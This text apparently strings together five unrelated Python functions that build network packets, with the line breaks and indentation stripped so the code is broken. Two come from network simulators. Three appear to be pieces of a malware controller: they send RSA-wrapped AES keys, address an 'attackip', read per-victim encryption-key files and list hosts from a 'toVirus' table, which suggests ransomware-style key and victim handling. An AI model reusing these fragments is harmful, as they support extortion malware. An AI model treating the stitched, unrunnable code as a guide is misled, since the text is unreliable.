def onGeneratePacket(self): print("%0.3f: node %s: on generate_packet" % (globals.now, self.id)) str = "original packet %s" % (self.id) dst_mac = self.target_mac dst_ip = self.target_ip packet = Packet(self.id, 255, self.x, self.y, dst_mac, dst_ip, self.mac, self.ip, self.channel, 10, str, "TYPE_ORIGINAL") packet.length = 1500 packet.phy_speed = 250 * 1000 packet.seq = self.seq self.seq += 1 if len(self.packet_queue) < 10: self.packet_queue.append(packet) if self.state == "STATE_LISTENING": self.checkRemainingPacket() elif self.state == "STATE_BACKOFF": pass elif self.state == "STATE_SENDING": pass elif self.state == "STATE_RECEIVING": pass else: print("not implemented state: %s" % self.state) sys.exit() t = globals.now + self.one_lambda * rand() * 2 event = Event(t, self.onGeneratePacket) globals.events.append(event)
def sendAESKey(self): pkt = Packet() pkt.state = '100' pkt.toIP = '' pkt.returnIP = 'MRS' pkt.data = self.key pkt.RSAEncryptData(self.RSAPublicKey) pkt.length = len(pkt.data) self.messageQ.put(pkt)
def send(client): cmd = raw_input("Enter command: ") pkt = Packet() pkt.toIP = attackip pkt.state = cmd if pkt.state == "147": base = "C:\Users\Matt\Desktop\\testfolder" path = base + "\\" + pkt.toIP + "-encryptionkey" try: f = open(path,"rb") pkt.data = f.read() pkt.length = len(pkt.data) except: print "no encryption key found" pkt.send(client)
def sendIPList(self,address=""): state = "100" ips = self.toVirus.keys() data = "" for ip in ips: data += ip + ":" + self.toVirus[ip][2] length = len(data) pkt = Packet() pkt.state = state pkt.length = str(length) pkt.data = data pkt.encryptData(self.AESKey) print "IPList: " + data if address != "": pkt.returnIP = address[0] self.enqueueToClient(pkt) else: for ip in self.toClient.keys(): self.enqueueToClient(pkt,ip)
def transmit_pkt(self): pkt = Packet() pkt.TxPwr = 16.02 #dBm pkt.length = self.txv.length pkt.CBW = self.txv.BW pkt.STBC = self.txv.STBC if self.ta is None: pkt.MCS = self.txv.MCS pkt.Ntx = self.txv.Ntx pkt.Mode = self.txv.Mode else: selected_rate = self.ta.select_rate(pkt) pkt.MCS = selected_rate['mcs'] pkt.Mode = selected_rate['mode'] mode = pkt.Mode.split() ntxbynrx = mode[1] pkt.Ntx = int(ntxbynrx[0]) return pkt